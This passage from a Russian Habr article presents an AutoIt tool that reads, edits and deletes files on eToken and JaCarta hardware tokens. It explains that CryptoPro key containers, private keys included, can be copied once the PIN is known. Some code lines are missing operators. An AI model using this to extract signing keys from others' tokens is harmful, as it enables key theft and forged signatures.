Тестируем JaCarta WebClient или храните токены в сейфе / Хабр

Тестируем JaCarta WebClient или храните токены в сейфе / Хабр Электронная цифровая подпись

Делаем jacarta editor

«О Царстве Теней я могу сказать только одно: есть реальность и есть её Тень; в этом суть всего. В реальном Мире существует лишь Амбер, реальный город на реальной Земле, в котором собрано всё. А Царство Теней — лишь бесконечность ирреальности. Здесь тоже можно обнаружить всё — но то будут тени, искажённое отражение реальности. Царство Теней окружает Амбер со всех сторон. А за его пределами царит хаос. На пути из Амбера в Царство Хаоса возможно всё.»

Роджер Желязны. «Девять принцев Амбера»

Всё началось с нeoбxодимocти работать с одним и тем же ключом на etoken c разных, значительно удалённых друг от друга рабочих мест (USB Over IP ради пары токенов дороговато будет) и моего большого желания открыть этот закрытый мир. Мне попалась работа

habr.com/post/276057

за что её автору большой респект, в моём проекте использована значительная часть отреверсеных им функций (код ведь открытый). Правда как выяснилось всё что работает с etsdk.dll работает только с синими рыбками. Поэтому для JaCarta новые функции пришлось писать заново, а часть отредактировать.

В результате долгих изысканий появился JaCarta Editor — программа показывающая и позволяющая редактировать сущности (именно так в официальной документации называют объекты файловой системы токенов, видимо намекая на их эфемерность и ирреальность) на токенах от Аладдина, в том числе самых современных.

Аналогичное приложение для Rutoken есть в открытом доступе в составе Rutoken SDK (Rutoken Editor), но для Аладдина, по крайней мере в открытом доступе нет, хотя лет 15 назад, судя по документации которую удалось найти в интернете, такое было (ETEditor).

Программа написана на Autoit, тестировалась с EToken PRO Java 72 K, JaCarta LT, JaCarta Pro, JaCarta ГОСТ-2.

Программа не будет работать, если на компьютере установлены драйвера Rutoken (требуется чтобы EToken или Ja Carta имели номер ридера 0).

По этой же причине для корректной работы должен быть подключен только один токен.

Скрипт использует системные вызовы Window$, и тестировался только с этим семейством ОС.

Для работы требуется установка «Единого клиента JaCarta» (бесплатно скачивается с сайта производителя), при установке которого в системную папку windows устанавливается в том числе и значительно более новая версия etsdk.dll а также jcFS.dll содержащая функции JaCarta File System (очень похожие на те что в etsdk.dll, но в jcFS появилось значительно больше функций без которых работа с некоторыми современными джакартами, например ГОСТ-2, будет невозможна). При установленном Едином клиенте искать и ложить в папку с программой эту dll естественно не нужно, в ином случае при установленном драйвере конкретного вида токена эта dll должна быть в папке с программой.

Все функции jcFS подробно описаны на сайте производителя, но тем не менее некоторые параметры этих функций пришлось подбирать экспериментально.

Для того, чтобы получить доступ к корневой директории токена необходимо вызвать функцию ETRootDirOpen или JCRootDirOpen (что одинаково, так как первая в dll вызывает вторую, это справедливо почти для всех функций, но есть несколько исключений) с идентификатором вендора равным 0 (константы типа 0xF007 позволят увидеть только отдельные директории в основном старых eToken на которых хранятся банковские ключи сгенерированные с помощью утилит типа PKIAdmin и MessagePRO).

Следующей важной особенностью современных джакарт является необходимость знать id апплета который установлен на токене, за это отвечает функция JCSelectApplet.

У старых токенов обычно есть апплет по умолчанию и вызов этой функции специально не требуется, но у новых и относительно новых джакарт без знания id апплета дальнейшая работа становится невозможной. Вызов всех функций получающих информацию от токена в этом случае возвращает False. В моём проекте в этом случае реализован двуступенчатый брутфорс (токен отзывается всегда на два id, но работает из них только один) id и дальнейшеая работа с нужным значением.

Вся информация выводится в окно вывода расположенное под деревом директорий.
Реализован ввод пин кода, выводится также информация об оставшихся попытках его ввода.
Выводится содержание директорий и краткие сведения о файлах: имя, является ли файл приватной информацией закрытой пин кодом — буква p: (ноль после неё файл публичный, единица приватный) и размер файла в байтах после «s:». Файл открывается по двойному клику.

Можно просмотреть и при необходимости скопировать в буфер содержимое файлов токена в шестнадцатеричном виде или сохранить в бинарном виде на компьютер.

Можно также изменить содержимое файла и выбрать в меню «Сохранить изменения» (предварительно должен быть введён пин код, если не был введён, то будет выведено соответствующее сообщение, в этом случае отредактированные данные можно выделить и скопировать в буфер обмена).

Для удаления файла необходимо его выделить и нажать «Удалить», после чего появится окно для подтверждения.

У JaCarta File System есть занятная особенность, которая пристутствует на всех токенах которые я тестировал. Если создать на токене директорию или несколько директорий без файлов, при следующей сессии работы с токеном они исчезнут, видимо таким образом файловая система заботится о сохранении объёма памяти токена и чистит от всякого мусора.

Поэтому при нажатии в программе кнопки «Создать» создаётся сразу цепочка из директории или двух директорий и файла. Глубина вложенности директорий в программе — две, не считая корневую. В корневой директории можно создавать только директории, но не файлы.
Перед созданием, редактирование или удалением сущностей необходимо ввести пин код.

Очень важное замечание об именах директорий!

На токенах, где содержимое создано средствами производителя вы никогда не встретите директорий с одинаковыми именами, где бы они не были. Это связано с особенностями файловой системы.

Предположим, у нас на токене есть следующая сущность: //0001/A001/0008 (то есть в корневой директории находится папка 0001, в ней папка А001, а в ней файл 0008) и мы создаём на токене новую сущность: //СС00/0001/1010. При обращении к файлу 1010 начнётся поиск директории 0001, которая находится в корне и будет найдена первой, но такого файла в ней нет. В результате функция возвращает False и cущность становится потерянной, как либо обратиться к ней и удалить тоже нельзя. Поможет только инициализация токена.

Особое замечаеме про EToken PRO и JA Carta Pro, отличие у которых только во внешнем виде, у них в корневой директории находятся системные файлы (именно они показаны на скрине), в одном из которых хранится судя по всему хэш пин кода, изменение этих файлов приводит к тому что авторизация становится невозможной (пин код становится неверным) и после этого поможет только инициализация.

Относительно закрытых ключей удалось установить следующее: если на токене хранится контейнер, созданный сторонним криптопровайдером, например CryptoPro, то всё его содержимое, включая закрытые ключи будет доступно, это просто флэшка с пин кодом (что и показано на картинке). Если же ключевая пара была сгенерирована на борту токена средствами PKCS11, то будут доступны только сертификат и открытый ключ.

Поскольку это экспериментальная программа я не рекомендую использовать её с токенами содержащими действующие ключи ЭЦП, все операции выполняются на страх и риск экспериментирующего. Особенно это касается создания новых сущностей, в ряде случаев результат труднопредсказуем.

Вся информация для создания программы получена из открытых источников, цель её создания чисто исследовательская.

Собственно скрипт

JACartaEditor.au3
#include <GUIConstantsEx.au3>
#include <WindowsConstants.au3>
#include <EditConstants.au3>
#include <TreeViewConstants.au3>
#include <GuiTreeView.au3>
#include <GuiMenu.au3>
#include <MsgBoxConstants.au3>
#include <StaticConstants.au3>
#include <GuiButton.au3>
#NoTrayIcon
;функции из jcFS.dll
Dim $ETSdkDll=DllOpen('jcFS.dll')
Func ETTokenLock($BindId)
Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenLock', _
'DWORD',$BindId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func ETTokenUnLock($BindId)
Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenUnLock', _
'DWORD',$BindId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func ETReadersEnumOpen()
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','ETReadersEnumOpen', _
'PTR',DllStructGetPtr($Out) _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func ETReadersEnumNext($EnumId)
Local $Reader=DllStructCreate('CHAR name[260]; BYTE etoken;')
Local $CallRes=DllCall($ETSdkDll,'WORD','ETReadersEnumNext', _
'DWORD',$EnumId, _
'PTR',DllStructGetPtr($Reader) _
)
Local $Result[2]=[	DllStructGetData($reader,'name'), _
DllStructGetData($reader,'etoken')]
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:$Result
EndFunc
Func ETReadersEnumClose($EnumId)
Local $CallRes=DllCall($ETSdkDll,'WORD','ETReadersEnumClose', _
'DWORD',$EnumId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func ETTokenBind($ReaderName)
Local $In=DllStructCreate('BYTE['&(StringLen($ReaderName) 1)&']')
Local $Out=DllStructCreate('DWORD')
DllStructSetData($In,1,$ReaderName)
Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenBind', _
'PTR',DllStructGetPtr($Out), _
'PTR',DllStructGetPtr($In) _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func ETTokenRebind($BindId)
Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenRebind', _
'DWORD',$BindId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func ETTokenUnbind($BindId)
Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenUnbind', _
'DWORD',$BindId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func ETTokenLogin($BindId,$Pin='')
Local $In=DllStructCreate('BYTE['&(StringLen($Pin) 1)&']')
DllStructSetData($In,1,$Pin)
Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenLogin', _
'DWORD',$BindId, _
'PTR',DllStructGetPtr($In) _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func ETTokenPinChange($BindId,$Pin)
Local $In=DllStructCreate('CHAR['&(StringLen($Pin) 1)&']')
DllStructSetData($In,1,$Pin)
Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenPinChange', _
'DWORD',$BindId, _
'PTR',DllStructGetPtr($In) _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func ETTokenLogout($BindId)
Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenLogout', _
'DWORD',$BindId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func ETRootDirOpen($BindId,$Dir=0xF007)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','ETRootDirOpen', _
'PTR',DllStructGetPtr($Out), _
'DWORD',$BindId, _
'DWORD',$Dir _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func ETDirOpen($Dir,$DirId)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','ETDirOpen', _
'PTR',DllStructGetPtr($Out), _
'DWORD',$Dir, _
'DWORD',$DirId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func ETDirCreate($Dir,$DirId)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','ETDirCreate', _
'PTR',DllStructGetPtr($Out), _
'DWORD',$Dir, _
'DWORD',$DirId, _
'DWORD',0 _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func ETDirGetInfo($DirId)
Local $Out=DllStructCreate('WORD wDirName; WORD wSize')
Local $CallRes=DllCall($ETSdkDll,'WORD','ETDirGetInfo', _
'DWORD',$DirId, _
'PTR',DllStructGetPtr($Out) _
)
Local $Result[2]=[	DllStructGetData($Out,'wDirName'), _
DllStructGetData($Out,'wSize')]
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:$Result
EndFunc
Func ETDirClose($DirId)
Local $CallRes=DllCall($ETSdkDll,'WORD','ETDirClose', _
'DWORD',$DirId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func ETDirDelete($DirId)
Local $CallRes=DllCall($ETSdkDll,'WORD','ETDirDelete', _
'DWORD',$DirId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func ETDirEnumOpen($DirId)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','ETDirEnumOpen', _
'PTR',DllStructGetPtr($Out), _
'DWORD',$DirId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func ETDirEnumNext($EnumId)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','ETDirEnumNext', _
'DWORD',$EnumId, _
'PTR',DllStructGetPtr($Out) _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func ETDirEnumClose($EnumId)
Local $CallRes=DllCall($ETSdkDll,'WORD','ETDirEnumClose', _
'DWORD',$EnumId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func ETFileOpen($File,$DirId)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','ETFileOpen', _
'PTR',DllStructGetPtr($Out), _
'DWORD',$DirId, _
'DWORD',$File _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func ETFileCreate($File,$DirId,$Size,$Private=0)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','ETFileCreate', _
'PTR',DllStructGetPtr($Out), _
'DWORD',$DirId, _
'DWORD',$File, _
'DWORD',$Size, _
'DWORD',$Private _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func ETFileGetInfo($FileId)
Local $Out=DllStructCreate('WORD name;WORD private;WORD;WORD size')
Local $CallRes=DllCall($ETSdkDll,'WORD','ETFileGetInfo', _
'DWORD',$FileId, _
'PTR',DllStructGetPtr($Out) _
)
Local $Result[3]=[	DllStructGetData($Out,'name'), _
DllStructGetData($Out,'private'), _
DllStructGetData($Out,'size')]
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:$Result
EndFunc
Func ETFileRead($FileId)
Local $FileInfo=ETFileGetInfo($FileId)
If @error Then Return SetError(@error,0,False)
Local $Out=DllStructCreate('BYTE ['&$FileInfo[2]&']')
Local $CallRes=DllCall($ETSdkDll,'WORD','ETFileRead', _
'DWORD',$FileId, _
'DWORD',0, _
'DWORD',0xFFFF, _
'PTR',DllStructGetPtr($Out), _
'DWORD',$FileInfo[2] _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func ETFileWrite($FileId,$Data,$Pos=0)
$Data=Binary($Data)
Local $DataSize=BinaryLen($Data)
Local $In=DllStructCreate('BYTE['&$DataSize&']')
DllStructSetData($In,1,$Data)
Local $CallRes=DllCall($ETSdkDll,'WORD','ETFileWrite', _
'DWORD',$FileId, _
'DWORD',$Pos, _
'PTR',DllStructGetPtr($In), _
'DWORD',$DataSize _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func ETFileClose($FileId)
Local $CallRes=DllCall($ETSdkDll,'WORD','ETFileClose', _
'DWORD',$FileId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func ETFileDelete($FileId)
Local $CallRes=DllCall($ETSdkDll,'WORD','ETFileDelete', _
'DWORD',$FileId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func ETFilesEnumOpen($DirId)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','ETFilesEnumOpen', _
'PTR',DllStructGetPtr($Out), _
'DWORD',$DirId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func ETFilesEnumNext($EnumId)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','ETFilesEnumNext', _
'DWORD',$EnumId, _
'PTR',DllStructGetPtr($Out) _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func ETFilesEnumClose($EnumId)
Local $CallRes=DllCall($ETSdkDll,'WORD','ETFilesEnumClose', _
'DWORD',$EnumId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func ETTokenLabelGet($BindId)
Local $Out1=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenLabelGet', _
'DWORD',$BindId, _
'PTR',0, _
'PTR',DllStructGetPtr($Out1) _
)
If $CallRes[0] Then Return SetError($CallRes[0],0,False)
Local $Out2=DllStructCreate('CHAR['&DllStructGetData($Out1,1)&']')
$CallRes=DllCall($ETSdkDll,'WORD','ETTokenLabelGet', _
'DWORD',$BindId, _
'PTR',DllStructGetPtr($Out2), _
'PTR',DllStructGetPtr($Out1) _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out2,1)
EndFunc
Func ETTokenIDGet($BindId)
Local $Out1=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenIDGet', _
'DWORD',$BindId, _
'PTR',0, _
'PTR',DllStructGetPtr($Out1) _
)
If $CallRes[0] Then Return SetError($CallRes[0],0,False)
Local $Out2=DllStructCreate('CHAR['&DllStructGetData($Out1,1)&']')
$CallRes=DllCall($ETSdkDll,'WORD','ETTokenIDGet', _
'DWORD',$BindId, _
'PTR',DllStructGetPtr($Out2), _
'PTR',DllStructGetPtr($Out1) _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out2,1)
EndFunc
Func ETTokenMaxPinGet($BindId)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenMaxPinGet', _
'DWORD',$BindId, _
'PTR',DllStructGetPtr($Out) _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func ETTokenMinPinGet($BindId)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','ETTokenMinPinGet', _
'DWORD',$BindId, _
'PTR',DllStructGetPtr($Out) _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func ETSelectApplet($BindId, $Applet)
Local $In=DllStructCreate('DWORD')
DllStructSetData($In,1,$Applet)
Local $CallRes=DllCall($ETSdkDll,'WORD','ETSelectApplet', _
'DWORD',$BindId, _
'PTR',DllStructGetPtr($Applet) _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func JCSelectApplet($BindId, $Applet)
Local $In=DllStructCreate('WORD')
DllStructSetData($In,1,$Applet)
Local $CallRes=DllCall($ETSdkDll,'WORD','JCSelectApplet', _
'DWORD',$BindId, _
'WORD',$Applet _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func JCReadersEnumOpen()
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','JCReadersEnumOpen', _
'PTR',DllStructGetPtr($Out) _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func JCReadersEnumNext($EnumId)
Local $Reader=DllStructCreate('CHAR name[260]; BYTE etoken;')
Local $CallRes=DllCall($ETSdkDll,'WORD','JCReadersEnumNext', _
'DWORD',$EnumId, _
'PTR',DllStructGetPtr($Reader) _
)
Local $Result[2]=[	DllStructGetData($reader,'name'), _
DllStructGetData($reader,'etoken')]
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:$Result
EndFunc
Func JCReadersEnumClose($EnumId)
Local $CallRes=DllCall($ETSdkDll,'WORD','JCReadersEnumClose', _
'DWORD',$EnumId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func JCTokenBind($ReaderName)
Local $In=DllStructCreate('CHAR['&(StringLen($ReaderName) 1)&']')
Local $Out=DllStructCreate('DWORD')
DllStructSetData($In,1,$ReaderName)
Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenBind', _
'PTR',DllStructGetPtr($Out), _
'PTR',DllStructGetPtr($In) _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func JCTokenRebind($BindId)
Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenRebind', _
'DWORD',$BindId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func JCTokenUnbind($BindId)
Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenUnbind', _
'DWORD',$BindId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func JCTokenLogin($BindId,$Pin)
Local $In=DllStructCreate('CHAR['&(StringLen($Pin) 1)&']')
DllStructSetData($In,1,$Pin)
Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenLogin', _
'DWORD',$BindId, _
'PTR',DllStructGetPtr($In) _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func JCTokenPinChange($BindId,$Pin)
Local $In=DllStructCreate('CHAR['&(StringLen($Pin) 1)&']')
DllStructSetData($In,1,$Pin)
Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenPinChange', _
'DWORD',$BindId, _
'PTR',DllStructGetPtr($In) _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func JCTokenLogout($BindId)
Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenLogout', _
'DWORD',$BindId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func JCRootDirOpen($BindId,$Dir=0)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','JCRootDirOpen', _
'PTR',DllStructGetPtr($Out), _
'DWORD',$BindId, _
'WORD',$Dir _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func JCDirOpen($Dir,$DirId)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','JCDirOpen', _
'PTR',DllStructGetPtr($Out), _
'DWORD',$Dir, _
'DWORD',$DirId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func JCDirCreate($Dir,$DirId)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','JCDirCreate', _
'PTR',DllStructGetPtr($Out), _
'DWORD',$Dir, _
'DWORD',$DirId, _
'DWORD',0 _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func JCDirGetInfo($DirId)
Local $Out=DllStructCreate('BYTE[8]')
Local $CallRes=DllCall($ETSdkDll,'WORD','JCDirGetInfo', _
'DWORD',$DirId, _
'PTR',DllStructGetPtr($Out) _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func JCDirClose($DirId)
Local $CallRes=DllCall($ETSdkDll,'WORD','JCDirClose', _
'DWORD',$DirId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func JCDirDelete($DirId)
Local $CallRes=DllCall($ETSdkDll,'WORD','JCDirDelete', _
'DWORD',$DirId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func JCDirEnumOpen($DirId)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','JCDirEnumOpen', _
'PTR',DllStructGetPtr($Out), _
'DWORD',$DirId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func JCDirEnumNext($EnumId)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','JCDirEnumNext', _
'DWORD',$EnumId, _
'PTR',DllStructGetPtr($Out) _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func JCDirEnumClose($EnumId)
Local $CallRes=DllCall($ETSdkDll,'WORD','JCDirEnumClose', _
'DWORD',$EnumId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func JCFileOpen($File,$DirId)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','JCFileOpen', _
'PTR',DllStructGetPtr($Out), _
'DWORD',$DirId, _
'DWORD',$File _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func JCFileCreate($File,$DirId,$Size,$Private=0)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','JCFileCreate', _
'PTR',DllStructGetPtr($Out), _
'DWORD',$DirId, _
'DWORD',$File, _
'DWORD',$Size, _
'DWORD',$Private _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func JCFileGetInfo($FileId)
Local $Out=DllStructCreate('WORD name;WORD private;WORD;WORD size')
Local $CallRes=DllCall($ETSdkDll,'WORD','JCFileGetInfo', _
'DWORD',$FileId, _
'PTR',DllStructGetPtr($Out) _
)
Local $Result[3]=[	DllStructGetData($Out,'name'), _
DllStructGetData($Out,'private'), _
DllStructGetData($Out,'size')]
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:$Result
EndFunc
Func JCFileRead($FileId)
Local $FileInfo=JCFileGetInfo($FileId)
If @error Then Return SetError(@error,0,False)
Local $Out=DllStructCreate('BYTE ['&$FileInfo[2]&']')
Local $CallRes=DllCall($ETSdkDll,'WORD','JCFileRead', _
'DWORD',$FileId, _
'DWORD',0, _
'DWORD',0xFFFF, _
'PTR',DllStructGetPtr($Out), _
'DWORD',$FileInfo[2] _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func JCFileWrite($FileId,$Data,$Pos=0)
$Data=Binary($Data)
Local $DataSize=BinaryLen($Data)
Local $In=DllStructCreate('BYTE['&$DataSize&']')
DllStructSetData($In,1,$Data)
Local $CallRes=DllCall($ETSdkDll,'WORD','JCFileWrite', _
'DWORD',$FileId, _
'DWORD',$Pos, _
'PTR',DllStructGetPtr($In), _
'DWORD',$DataSize _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func JCFileClose($FileId)
Local $CallRes=DllCall($ETSdkDll,'WORD','JCFileClose', _
'DWORD',$FileId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func JCFileDelete($FileId)
Local $CallRes=DllCall($ETSdkDll,'WORD','JCFileDelete', _
'DWORD',$FileId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func JCFilesEnumOpen($DirId)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','JCFilesEnumOpen', _
'PTR',DllStructGetPtr($Out), _
'DWORD',$DirId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func JCFilesEnumNext($EnumId)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','JCFilesEnumNext', _
'DWORD',$EnumId, _
'PTR',DllStructGetPtr($Out) _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func JCFilesEnumClose($EnumId)
Local $CallRes=DllCall($ETSdkDll,'WORD','JCFilesEnumClose', _
'DWORD',$EnumId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func JCTokenLabelGet($BindId)
Local $Out1=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenLabelGet', _
'DWORD',$BindId, _
'PTR',0, _
'PTR',DllStructGetPtr($Out1) _
)
If $CallRes[0] Then Return SetError($CallRes[0],0,False)
Local $Out2=DllStructCreate('CHAR['&DllStructGetData($Out1,1)&']')
$CallRes=DllCall($ETSdkDll,'WORD','JCTokenLabelGet', _
'DWORD',$BindId, _
'PTR',DllStructGetPtr($Out2), _
'PTR',DllStructGetPtr($Out1) _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out2,1)
EndFunc
Func JCTokenIDGet($BindId)
Local $Out1=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenIDGet', _
'DWORD',$BindId, _
'PTR',0, _
'PTR',DllStructGetPtr($Out1) _
)
If $CallRes[0] Then Return SetError($CallRes[0],0,False)
Local $Out2=DllStructCreate('CHAR['&DllStructGetData($Out1,1)&']')
$CallRes=DllCall($ETSdkDll,'WORD','JCTokenIDGet', _
'DWORD',$BindId, _
'PTR',DllStructGetPtr($Out2), _
'PTR',DllStructGetPtr($Out1) _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out2,1)
EndFunc
Func JCTokenMaxPinGet($BindId)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenMaxPinGet', _
'DWORD',$BindId, _
'PTR',DllStructGetPtr($Out) _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func JCTokenMinPinGet($BindId)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenMinPinGet', _
'DWORD',$BindId, _
'PTR',DllStructGetPtr($Out) _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:DllStructGetData($Out,1)
EndFunc
Func JCTokenUnLock($BindId)
Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenUnLock', _
'DWORD',$BindId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func JCTokenLock($BindId)
Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenLock', _
'DWORD',$BindId _
)
Return $CallRes[0] _
?SetError($CallRes[0],0,False) _
:True
EndFunc
Func JCTokenPinAttemptsGet($BindId)
Local $Out=DllStructCreate('DWORD')
Local $CallRes=DllCall($ETSdkDll,'WORD','JCTokenPinAttemptsGet', _
'DWORD',$BindId, _
'PTR',DllStructGetPtr($Out) _
)
